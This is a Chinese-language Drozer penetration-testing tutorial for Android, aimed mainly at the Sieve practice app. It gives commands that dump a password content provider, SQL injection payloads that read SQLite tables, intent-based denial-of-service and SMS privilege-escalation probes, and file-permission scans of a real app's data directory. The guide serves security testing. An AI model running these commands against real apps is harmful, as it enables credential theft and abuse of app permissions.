標籤:
一、安裝與啟動
1. 安裝 第一步:從http://mwr.to/drozer下載Drozer (
Windows Installer) 第二步:在
Android裝置中安裝agent.apk adb install agent.apk
2. 啟動 第一步:在PC上使用adb進行連接埠轉寄,轉寄到Drozer使用的連接埠31415 adb forward tcp:31415 tcp:31415 第二步:在Android裝置上開啟Drozer Agent 選擇embedded server-enable 第三步:在PC上開啟Drozer console drozer console connect
二、測試步驟
1.擷取包名 dz> run app.package.list -f sieve com.mwr.example.sieve
2.擷取應用的基本資料 run app.package.info -a com.mwr.example.sieve
3.確定攻擊面 run app.package.attacksurface com.mwr.example.sieve
4.Activity (1)擷取activity資訊 run app.activity.info -a com.mwr.example.sieve (2)啟動activity run app.activity.start --component com.mwr.example.sieve dz> help app.activity.start usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]
5.Content Provider (1)擷取Content Provider資訊 run app.provider.info -a com.mwr.example.sieve (2)Content Providers(資料泄露) 先擷取所有可以訪問的Uri: run scanner.provider.finduris -a com.mwr.example.sieve 擷取各個Uri的資料: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 查詢到資料說明存在漏洞 (3)Content Providers(
SQL注入) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "‘" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "‘" 報錯則說明存在SQL注入。 列出所有表: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--" 擷取某個表(如Key)中的資料: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" (4)同時檢測SQL注入和目錄遍曆 run scanner.provider.injection -a com.mwr.example.sieve run scanner.provider.traversal -a com.mwr.example.sieve
6 intent組件觸發(拒絕服務、許可權提升) 利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的許可權提升。拒絕服務危害性比較低,更多的只是影響應用服務品質;而許可權提升將使得沒有該許可權的應用可以通過intent觸發擁有該許可權的應用,從而協助其完成越權行為。 1.查看暴露的廣播組件資訊: run app.broadcast.info -a com.package.name 擷取broadcast receivers資訊 run app.broadcast.send --component 包名 --action android.intent.action.XXX 2.嘗試拒絕服務的攻擊檢測,向廣播組件發送不完整intent(空action或空extras): run app.broadcast.send 通過intent發送broadcast receiver (1) 空action run app.broadcast.send --component 包名 ReceiverName run app.broadcast.send --component 包名 ReceiverName (2) 空extras run app.broadcast.send --action android.intent.action.XXX 3.嘗試許可權提升 許可權提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程式邏輯的intent。由於activity一般多於使用者互動有關,所以基 於intent的許可權提升更多針對broadcast receiver和service。與drozer相關的許可權提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,採用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令: (1)擷取service詳情 run app.service.info -a com.mwr.example.sieve 不使用drozer啟動service am startservice –n 包名/service名 (2)許可權提升 run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.檔案操作 列出指定檔案路徑裡全域可寫/可讀的檔案 run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模組 shell.start 在裝置上開啟一個互動shell tools.file.upload / tools.file.download 上傳/下載檔案到裝置 tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進位檔案
利用drozer進行Android滲透測試